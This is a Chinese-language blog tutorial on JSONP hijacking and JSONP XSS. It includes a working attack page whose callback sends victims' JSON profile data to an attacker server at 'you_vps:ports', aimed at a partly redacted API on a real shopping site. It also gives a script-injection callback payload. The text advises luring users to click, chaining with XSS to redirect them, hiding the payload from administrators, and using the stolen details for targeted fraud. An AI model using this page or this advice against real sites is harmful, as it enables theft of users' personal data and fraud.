Jsonp hijacking and xss

FOREWORD

jsonp劫持是发生在web前端接口的一个漏洞,其利用情况可以归属于csrf。但是两个还有区别,csrf是利用用户的cookie去发送请求,从而使用户自己执行恶意的请求,然而jsonp劫持,则是利用用户去访问接口,从而返回用户的敏感信息,然后利用攻击者构造的相应页面去将最后的结果外带到攻击者的服务器,从而窃取用户的数据;

针对于jsonp劫持的文章,网上讲的都很笼统,不太好理解,这里我尽量的讲明白,其实不难;看网上的长篇大论的文章讲的有的和漏洞的利用和挖掘都没有什么关系,这里我用最少的语言表达清楚漏洞的利用和挖掘;

Text

Jsonp是为了跨域获取资源从而产生的一种非官方的手段;它利用的使script标签中的src属性不受同源策略影响的特性;

直入正题;jsonp劫持原理:

首先可以理解用户user在网站B注册并且登陆;此时攻击者设计了一个页面A;页面A中有攻击者恶意构造的js代码;当user在B网站注侧登陆之后,再去用一个新得tap页去访问A,就会携带用户user的cookie去访问;服务器此时会返回相应的攻击者构造的页面给user;user客户端进行渲染,然而攻击者构造的页面中有代码去请求我们网站A的jsonp接口,这样就会在A上得到user的json的敏感信息,可能包括username或者id还有手机号或者email等等;然后网页A中有段恶意代码将我们用户user的json敏感信息外带到我们攻击者的服务器上,这样就可以在我们攻击者的服务器上接收到我们用户的敏感信息;这些信息对于以后的精准诈骗有很大的利用价值,掌握的信息越多,就越可以让受害者信服;

基本流程如下图:

D5CyvT.png

How to mine jsonp hijacking

打开浏览器,访问个有登录的页面,登陆之后F12打开开发者模式,然后 进入network;F5刷新后,进行Ctrl+F进行搜素,一般的敏感字符都是callback,function等等;找到之后我们get访问,看看有没有敏感信息泄露;一般的jsonp接口会有回调函数,一般情况来说,回调是回调网站本身设计的某个函数去进行身份验证或者其他的操作,那么我们这里可以直接反其道行之,设计一个函数,让callback来回调我们自己的恶意方法从而实现结果外带;

这里随便拿个xxx网的接口来说下:我们将callback赋值为1;发现回显可以利用;

D5CDCq.png

这里发现敏感API;有callback回调,也可以利用,我们构造页面如下:

1
2
3
4
5
6
7
8
9
10
11
<html>
Hacked By s1mple
<script>alert("你被黑了")</script>

<script type="text/javascript">
function test(json){
new Image().src="http://you_vps:ports/?c="+JSON.stringify(json)
alert(JSON.stringify(json))
}
</script>
<script type="text/javascript" src="http://message.dangdang.com/api/{xxxxxx}?callback=test"></script>

我们本地访问测试下,发现可以攻击成功,那么我们利用的时候只需要在平台上发出我们的链接,静候他们点击就可;或者结合xss进行恶意利用;在用户访问正常页面的时候让其自动跳转到该攻击页面;然后点击的用户的敏感信息就会发到攻击者的vps上;效果如下:一些敏感信息打码;

D5CUbQ.png

Jsonp XSS

小提一下,后续会补充

在上文说了jsonp劫持之后,理解jsonp xss也就不太难;也是因为callback回调函数的问题;记得上文所说的我们可以自定义callback方法,然后我们最后定义了一个恶意的方法,并将其插入在script标签里,然后随着用户访问从而被恶意加载然后将用户的信息打到我们的vps上;我们可以回顾下jsonp劫持的脚本,是先接收我们的接口信息;然后再将固定的某些信息发送到我们的服务器上;我们发现其原理也就是套用了我们的恶意函数,那么我们可以有多种触发xss的方法;

首先来说因为其在script标签里执行,我们可以直接alert进行测试;不用构造恶意的页面直接?callback=<script>alert(1)</script>自己在payload中加入script标签然后直接渲染,这种方法很常规;

另外一种方法就是构造恶意的页面,这样的好处就是不用光明正大的亮出我们的payload;也防止被管理员清楚或者被用户怀疑;既然可构造页面,我们可以构造恶意的函数,然后用callback等之类的回调函数去触发;函数我们可以自由发挥啦;